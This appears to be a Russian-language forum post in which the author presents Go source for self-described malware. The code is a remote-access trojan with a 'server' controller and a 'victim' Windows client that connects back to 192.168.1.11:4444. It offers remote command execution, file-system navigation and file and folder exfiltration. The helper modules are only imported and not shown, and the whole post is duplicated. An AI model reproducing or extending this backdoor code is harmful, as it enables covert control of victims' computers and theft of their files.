Я написал простой malware на golang
Это пример что он делает, другое находится в rar-e
server:
package main
import (
"bufio"
//"bytes"
"fmt"
"log"
"dragoN/core/executeCommandsWindows"
"dragoN/core/establishConnection"
"dragoN/core/Move"
"dragoN/core/upload"
"dragoN/core/download"
//"net"
"os"
"strings"
)
func DisplayError (err error){
if err != nil{
fmt.Println(err)
}
}
func options(){
fmt.Println()
fmt.Println("\t[1] Execute commands: ")
fmt.Println("\t[2] i like to move it, move it: ")
fmt.Println("\t[3] upload: ")
fmt.Println("\t[4] DownloadFCli: ")
fmt.Println("\t[5] Dl folders: ")
fmt.Println("\t[99] Exit")
fmt.Println()
}
func main() {
//var connection net.Conn
IP := ""
PORT := "4444"
connection, err := Connection.ConnectWithPerson(IP, PORT)
if err != nil{
log.Fatal(err)
}
defer connection.Close()
fmt.Println("[+] Connection established: ", connection.RemoteAddr().String())
//exeto ot tuk nadolu 58
reader := bufio.NewReader(os.Stdin)
loopControl := true
for loopControl{
options()
fmt.Printf("[+] Enter option: ")
user_input_raw, err := reader.ReadString('\n')
if err != nil{
fmt.Println(err)
continue
}
connection.Write([]byte(user_input_raw))
user_input := strings.TrimSuffix(user_input_raw, "\n")
switch{
case user_input == "1":
fmt.Println("[+] Command execution")
err := ExecuteCommandsWindows.ExecuteCommandRemotelyWindows(connection)
DisplayError(err)
case user_input =="2":
fmt.Println("[+] File sys navigation")
err = Move.NavigateFS(connection)
DisplayError(err)
case user_input =="3":
fmt.Println("[+]Upload")
err = Upload.UploadF(connection)
DisplayError(err)
case user_input =="4":
fmt.Println("[+]Dl from user")
err = download.DownloadFCli(connection)
DisplayError(err)
case user_input =="5":
fmt.Println("[+] Dl folders from server")
err = download.DlFoldersFromServer(connection)
DisplayError(err)
case user_input == "99":
fmt.Println("[+] Exiting the program")
loopControl = false
default:
fmt.Println("[-] Invalid option")
}
}
}
victim:
package main
import (
"bufio"
"dd/core/Download"
"dd/core/ExecuteSysCommandsWin"
"dd/core/Move"
"dd/core/handleConnection"
"dd/core/upload"
"fmt"
"log"
"strings"
)
func DisplayError(err error){
if err != nil{
fmt.Println(err)
}
}
//windows machine
func main() {
ServerIP := "192.168.1.11"
Port := "4444"
connection, err := handleConnection.ConWithServer(ServerIP, Port)
if err != nil{
log.Fatal(err)
}
defer connection.Close()
fmt.Println("[+] Connection is established with", connection.RemoteAddr().String())
// 109 exe
reader := bufio.NewReader(connection)
loopControl := true
for loopControl{
user_input_raw, err := reader.ReadSlice('\n')
if err != nil{
fmt.Println(err)
continue
}
user_input := strings.TrimSuffix(string(user_input_raw), "\n")
switch{
case user_input == "1":
fmt.Println("[+] Executing commands on win")
err := ExecuteSysCommandsWin.ExecuteCommandWindows(connection)
DisplayError(err)
case user_input == "2":
fmt.Println("[+] File sys navigation")
err = Move.NavigateFS(connection)
DisplayError(err)
case user_input == "3":
fmt.Println("[+] DL file from the server")
err = Download.ReadFileCountent(connection)
DisplayError(err)
case user_input =="4":
fmt.Println("[+] Upload 2 server(file)")
err = upload.Up2theServ(connection)
DisplayError(err)
case user_input =="5":
fmt.Println("[+] Upload2Serv(folder)")
err = upload.UpFolder2Serv(connection)
DisplayError(err)
case user_input == "99":
fmt.Println("[-] Exiting the win program")
loopControl = false
default:
fmt.Println("[-] Invalind input.")
}
}
}
Это пример что он делает, другое находится в rar-e
server:
package main
import (
"bufio"
//"bytes"
"fmt"
"log"
"dragoN/core/executeCommandsWindows"
"dragoN/core/establishConnection"
"dragoN/core/Move"
"dragoN/core/upload"
"dragoN/core/download"
//"net"
"os"
"strings"
)
func DisplayError (err error){
if err != nil{
fmt.Println(err)
}
}
func options(){
fmt.Println()
fmt.Println("\t[1] Execute commands: ")
fmt.Println("\t[2] i like to move it, move it: ")
fmt.Println("\t[3] upload: ")
fmt.Println("\t[4] DownloadFCli: ")
fmt.Println("\t[5] Dl folders: ")
fmt.Println("\t[99] Exit")
fmt.Println()
}
func main() {
//var connection net.Conn
IP := ""
PORT := "4444"
connection, err := Connection.ConnectWithPerson(IP, PORT)
if err != nil{
log.Fatal(err)
}
defer connection.Close()
fmt.Println("[+] Connection established: ", connection.RemoteAddr().String())
//exeto ot tuk nadolu 58
reader := bufio.NewReader(os.Stdin)
loopControl := true
for loopControl{
options()
fmt.Printf("[+] Enter option: ")
user_input_raw, err := reader.ReadString('\n')
if err != nil{
fmt.Println(err)
continue
}
connection.Write([]byte(user_input_raw))
user_input := strings.TrimSuffix(user_input_raw, "\n")
switch{
case user_input == "1":
fmt.Println("[+] Command execution")
err := ExecuteCommandsWindows.ExecuteCommandRemotelyWindows(connection)
DisplayError(err)
case user_input =="2":
fmt.Println("[+] File sys navigation")
err = Move.NavigateFS(connection)
DisplayError(err)
case user_input =="3":
fmt.Println("[+]Upload")
err = Upload.UploadF(connection)
DisplayError(err)
case user_input =="4":
fmt.Println("[+]Dl from user")
err = download.DownloadFCli(connection)
DisplayError(err)
case user_input =="5":
fmt.Println("[+] Dl folders from server")
err = download.DlFoldersFromServer(connection)
DisplayError(err)
case user_input == "99":
fmt.Println("[+] Exiting the program")
loopControl = false
default:
fmt.Println("[-] Invalid option")
}
}
}
victim:
package main
import (
"bufio"
"dd/core/Download"
"dd/core/ExecuteSysCommandsWin"
"dd/core/Move"
"dd/core/handleConnection"
"dd/core/upload"
"fmt"
"log"
"strings"
)
func DisplayError(err error){
if err != nil{
fmt.Println(err)
}
}
//windows machine
func main() {
ServerIP := "192.168.1.11"
Port := "4444"
connection, err := handleConnection.ConWithServer(ServerIP, Port)
if err != nil{
log.Fatal(err)
}
defer connection.Close()
fmt.Println("[+] Connection is established with", connection.RemoteAddr().String())
// 109 exe
reader := bufio.NewReader(connection)
loopControl := true
for loopControl{
user_input_raw, err := reader.ReadSlice('\n')
if err != nil{
fmt.Println(err)
continue
}
user_input := strings.TrimSuffix(string(user_input_raw), "\n")
switch{
case user_input == "1":
fmt.Println("[+] Executing commands on win")
err := ExecuteSysCommandsWin.ExecuteCommandWindows(connection)
DisplayError(err)
case user_input == "2":
fmt.Println("[+] File sys navigation")
err = Move.NavigateFS(connection)
DisplayError(err)
case user_input == "3":
fmt.Println("[+] DL file from the server")
err = Download.ReadFileCountent(connection)
DisplayError(err)
case user_input =="4":
fmt.Println("[+] Upload 2 server(file)")
err = upload.Up2theServ(connection)
DisplayError(err)
case user_input =="5":
fmt.Println("[+] Upload2Serv(folder)")
err = upload.UpFolder2Serv(connection)
DisplayError(err)
case user_input == "99":
fmt.Println("[-] Exiting the win program")
loopControl = false
default:
fmt.Println("[-] Invalind input.")
}
}
}